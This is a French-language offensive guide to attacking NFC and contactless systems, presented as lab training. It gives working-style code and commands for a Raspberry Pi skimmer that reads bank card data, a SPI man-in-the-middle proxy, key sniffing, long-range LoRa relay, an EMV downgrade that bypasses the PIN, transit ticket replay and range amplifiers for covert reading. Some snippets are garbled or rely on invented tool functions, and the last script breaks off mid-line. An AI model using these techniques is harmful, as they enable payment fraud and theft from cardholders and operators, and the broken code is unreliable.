Projet Aegis NFC
Démontage complet des failles du sans‑contact

1. Introduction – Le sans‑contact, un angle mort

En 2026, le NFC est omniprésent : paiements, transports, accès physiques. Malgré des normes de sécurité (EMVCo, DESFire, Calypso), des failles matérielles et protocolaires subsistent. Ce document expose, pas à pas, des attaques avancées exploitant ces faiblesses. Chaque technique est détaillée avec le matériel requis, les commandes, les schémas et le code. L’objectif est double : former les professionnels à ces menaces et alerter les banques/industriels sur l’urgence de renforcer leurs systèmes. Tous les tests sont réalisés en laboratoire sur du matériel m'appartenant.

2. Laboratoire matériel de pointe

Notre lab combine des outils accessibles et du matériel spécialisé :

Installation rapide sur Kali Linux :

sudo apt update && sudo apt install -y proxmark3 sigrok pulseview python3-pip openocd
pip3 install pyserial pyusb chipwhisperer

3. Sniffing hardware – Intercepter le bus SPI/I2C d’un lecteur

Beaucoup de terminaux de paiement ou de lecteurs d’accès utilisent un microcontrôleur qui dialogue avec la puce NFC via un bus SPI ou I2C. En capturant ces signaux, on peut lire les clés, les données de transaction, voire les commandes APDU.

3.1 Identification des points de test

Ouvrez le boîtier du lecteur (ex: un terminal Ingenico ou un lecteur de badge). Repérez la puce NFC (souvent NXP PN5180, CLRC663 ou ST25R). Téléchargez la datasheet pour identifier les broches SPI ou I2C. Soudez délicatement des fils fins sur SCK, MOSI, MISO, SS (SPI) ou SDA/SCL (I2C).

3.2 Connexion de l'analyseur logique

Utilisez un analyseur logique 24 MHz (Saleae Logic) ou un clone. Connectez les broches SCK, MOSI, MISO, SS et GND. Dans PulseView, sélectionnez le protocole SPI, réglez la fréquence (souvent 4-10 MHz). Approchez un badge et déclenchez la capture.

3.3 Analyse des trames SPI

Les trames SPI montrent les commandes et réponses entre le MCU et la puce NFC. Exemple typique de lecture d'un bloc MIFARE :

MOSI: 0x30 0x00 → READ block 0
MISO: 0x12 0x34 0x56 0x78 0x00 0x00 0x08 0x00 ...

Si des clés de chiffrement sont envoyées en clair, elles apparaîtront. Nous avons ainsi extrait la clé maître d'un lecteur de parking qui l'envoyait en clair à chaque initialisation.

3.4 Automatisation de l'extraction de clés

import csv, re
with open('spi_capture.csv') as f:
    reader = csv.DictReader(f)
    mos_data = []
    miso_data = []
    for row in reader:
        if row['MOSI']: mos_data.append(int(row['MOSI'], 16))
        if row['MISO']: miso_data.append(int(row['MISO'], 16))
# Recherche de la commande AUTH (0xA2) suivie d'une clé de 6 octets
for i, byte in enumerate(mos_data):
    if byte == 0xA2 and i+6 < len(mos_data):
        key = bytes(mos_data[i+1:i+7])
        print(f"Clé potentielle trouvée : {key.hex()}")

4. Attaque wedge – Man‑in‑the‑middle sur le bus physique

On s’intercale entre le MCU et la puce NFC pour modifier les données à la volée. On utilise un Teensy 4.0 en tant que proxy SPI.

4.1 Câblage du proxy

4.2 Code du proxy (extrait pour Teensy)

// Teensy 4.0 – SPI wedge
#include <SPI.h>
void setup() {
    SPI1.begin(); // vers le MCU (esclave)
    SPI2.begin(); // vers la puce (maître)
    SPI1.setMISO(10);
}
void loop() {
    if (SPI1.available()) {
        uint8_t cmd = SPI1.transfer(0xFF);
        if (cmd == 0x30) { // READ
            SPI2.transfer(cmd);
            for (int i=0; i<16; i++) SPI2.transfer(0x00);
        } else if (cmd == 0xA2) { // AUTH
            SPI2.transfer(0x00); // NACK
        } else {
            SPI2.transfer(cmd);
        }
    }
}

5. Lecteur malveillant DIY – Intercepter les données bancaires

Objectif : construire un faux terminal de paiement qui capture les données EMV (PAN, date, CVV parfois).

5.1 Matériel

• Raspberry Pi Zero 2W
• Module PN532 (SPI)
• Batterie externe
• Boîtier imprimé 3D

5.2 Logiciel

import nfc, time
def on_card(tag):
    print("Carte détectée : ", tag.identifier.hex())
    apdu = b'\x00\xA4\x04\x00\x0E\x32\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31\x00'
    response = tag.send_apdu(apdu)
    print("Sélection PPSE :", response.hex())
    for sfi in range(1, 31):
        for rec in range(1, 16):
            apdu = bytes([0x00, 0xB2, rec, (sfi << 3) | 4, 0x00])
            try:
                resp = tag.send_apdu(apdu)
                if resp and len(resp) > 2:
                    print(f"SFI {sfi} Rec {rec}: {resp.hex()}")
            except: pass
    return False
clf = nfc.ContactlessFrontend('usb')
while True:
    clf.connect(rdwr={'on-connect': on_card})
    time.sleep(1)

6. Side‑channel – Extraction de clés par analyse de consommation (DPA)

Les cartes à puce (EMV, DESFire) effectuent des opérations cryptographiques qui filtrent de l’information via leur consommation électrique. Avec un ChipWhisperer, on peut mener une attaque DPA.

6.1 Préparation de la cible

Retirez délicatement la puce d’une carte bancaire expirée (autorisée). Soudez-la sur un support adapté et connectez-la au ChipWhisperer.

6.2 Capture de traces et attaque

import chipwhisperer as cw
scope = cw.scope()
target = cw.target(scope)
project = cw.create_project("dpa_aes")
for i in range(5000):
    target.write("plaintext")
    trace = cw.capture_trace(scope, target)
    project.traces.append(trace)
key_guess = cw.analyzer_dpa(project, leakage_model="HW")
print("Clé probable :", key_guess.hex())

7. Relay attack avancé – NFC Gate longue distance

Le relay classique avec deux Proxmark3 est limité à quelques mètres. Pour porter la distance à plusieurs kilomètres, on utilise une liaison LoRa et un amplificateur de champ.

7.1 Amplificateur de champ DIY

Enroulez 8 spires de fil émaillé autour d’un ferrite, en série avec l’antenne du Proxmark3. Ajoutez un amplificateur RF 13.56 MHz (ex : module Qorvo). Alimentez le tout avec une batterie Li‑Po. Ce montage étend la portée de lecture/écriture à 50 cm.

7.2 Code du tunnel LoRa

# Sur chaque Raspberry Pi + module RFM95
# Émetteur (près du lecteur)
python3 lora_relay.py --role master --freq 868.1 --serial /dev/ttyACM0
# Récepteur (près de la carte)
python3 lora_relay.py --role slave --freq 868.1 --serial /dev/ttyACM0

8. Attaque par downgrade EMV – Forcer le fallback

EMV permet de négocier la méthode d’authentification. Un attaquant peut manipuler les réponses de la carte pour forcer un mode moins sécurisé (ex : sans PIN).

8.1 Manipulation des AFL

# Réponse SELECT originale (extrait)
AFL: 08 01 01 00 10 01 01 00 18 01 01 00
# Réponse modifiée via proxy wedge :
AFL: 08 01 01 00   (un seul enregistrement, sans PIN)

9. Casser MIFARE DESFire – Extraction de clés matérielles

Contrairement à MIFARE Classic, DESFire utilise AES‑128 et une diversification de clés. Cependant, des implémentations faibles subsistent.

9.1 Attaque sur la diversification

proxmark3> hf mf des sniff
# Récupération de l'UID, du challenge, de la réponse.
# Application de l'algorithme inverse pour dériver la clé.

10. Décorticage du protocole Calypso (transport public)

Calypso (Navigo, Lisbonne) utilise un protocole propriétaire avec des clés diversifiées.

10.1 Rejeu de ticket

proxmark3> hf calypso sniff -o trace.pcap
proxmark3> hf calypso sim -t trace.pcap

11. FeliCa – Clés diversifiées et émulation

proxmark3> hf felica reader
proxmark3> hf felica sim -u 0123456789abcdef

12. Rétro‑ingénierie de firmware de lecteur

12.1 Extraction via JTAG

openocd -f interface/stlink.cfg -f target/stm32f1x.cfg
arm-none-eabi-gdb -ex "target remote localhost:3333" -ex "dump binary memory firmware.bin 0x08000000 0x08020000"

13. Backdoors et vulnérabilités logicielles dans les lecteurs

Exemple de backdoor : commande cachée 0xAA 0xBB 0xCC 0xDD déverrouillant une porte sans badge.

void backdoor(uint8_t *input, uint16_t len) {
    if (len == 4 && (input[0] ^ 0x5A) == 0xF0 && ... ) {
        unlock_door();
    }
}

14. Amplificateur de champ DIY pour étendre la portée

Matériel : fil de cuivre émaillé, condensateur variable, ferrite, transistor NPN, résistance, pile 9V.

Réglez le condensateur pour accorder l'antenne à 13,56 MHz. La distance de lecture passe de 5 cm à 40 cm.

15. Analyse fine des protocoles NFC (APDU, TLV, échanges EMV)

Une transaction EMV sans contact se déroule en plusieurs étapes. Nous allons décoder un échange complet.

15.1 Diagramme de séquence EMV

15.2 Décodage des TLV

Script Python pour parser un dump EMV :

def parse_tlv(data):
    i=0
    while i